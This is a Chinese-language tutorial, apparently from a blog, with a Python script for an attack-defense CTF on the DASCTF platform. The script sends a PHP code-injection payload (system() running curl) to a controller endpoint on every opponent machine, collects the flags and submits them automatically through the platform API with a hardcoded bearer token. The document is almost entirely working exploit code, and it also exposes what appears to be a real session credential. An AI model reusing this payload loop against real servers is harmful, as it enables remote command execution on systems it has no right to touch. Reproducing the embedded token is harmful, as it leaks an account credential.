通过python脚本集体获取CTF中的flag并且提交

先在python中获取库requests
# _*_ coding:utf-8 _*_
import requests, re

# 从网址（网址自己可以随便在网上获取） https://cloud.dasctf.com/375/competePage/530 可知 match_id=375
MATCH_ID = "945"
# 登录后通过抓取请求包可得 authorization 认证字段值
authorization = "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC91c2VyXC9yYW5nZS11c2VyXC9hcGlcL2lubmVyXC9hdXRoIiwiaWF0IjoxNjk3MjY1OTMyLCJleHAiOjE2OTc0ODM2MjgsIm5iZiI6MTY5NzI2NzYyOCwianRpIjoiN0pOZnV2OFI1WnFCbU9DcCIsInN1YiI6NzE1OTQsInBydiI6IjM3YjdjNTBiMjUwNDFhNGMyMGZlNDdjMjQyZTFiZmQwZjYzMDkyYzUiLCJzbGFiLW1hdGNoXzk0NSI6NzE1OTQsImxvZ2luX3Rva2VuIjoiN2Q5MDkzYmUxYjBhMGJmN2JkNDY0NDNiODhjNGQ4NmIiLCJndWFyZCI6InBsYXllciIsInVzZXJuYW1lIjoibnBjIn0.gdJaEMkrzCRDPWZ2V2TbvpQGT6mHujj38_S-TailSzQ"
# 获取 flag 命令
# 118.24.11.89 为比赛平台获取flag的Server地址
# token中的10121为比赛平台自己的id
cmd = 'curl 118.24.11.89/index.php?token=10121_USR-20231014-LF5xe'
# 上述 token 中可知 exerciseId 为 10121
try:
    exerciseId = re.findall(r'token=(.*?)_USR', cmd)[0]
    print(exerciseId)
except:
    print('exerciseId error!')
    exit(0)

# ip 列表，可排除掉自身
# 数组中为比赛平台中所有队伍的ip地址
ip_list = ["集体所有队伍的IP地址"]

def main():
    print("正在获取靶机的flag：")
    flag_list = exp(ip_list)
    get_flag(flag_list)

def exp(ip_list):
    flag_list = []
    for ip in ip_list:
        url = f"http://{ip}/controllers/home.php"
        data = {"x": f"system('{cmd}');"}
        try:
            r = requests.post(url, data=data, timeout=3)
        except:
            continue
        print(f'ip={ip}\tres={r.text[:32]}')
        flag_list.append(r.text)
    return flag_list

def get_flag(flag_list):
    header = {
        "matchId": MATCH_ID,
        "authorization": authorization,
        "Content-Type": "application/json;charset=UTF-8"
    }
    for flag in flag_list:
        url = "https://cloud.dasctf.com/slab-match/api/v1/player/answer-panel/answer"
        data = {
            "matchId": MATCH_ID,
            "exerciseId": exerciseId,
            "flag": flag
        }
        r = requests.post(url, json=data, headers=header)
        print(r.text)

if __name__ == '__main__':
    # 输出格式为 ip=  res=a4a5f66b707ce55b9cf735b8b97bd716
    # ip为比赛中靶机的ip地址，res=后面的即为对应靶机的flag，在比赛平台找对应的靶机flag对话框提交即可
    main()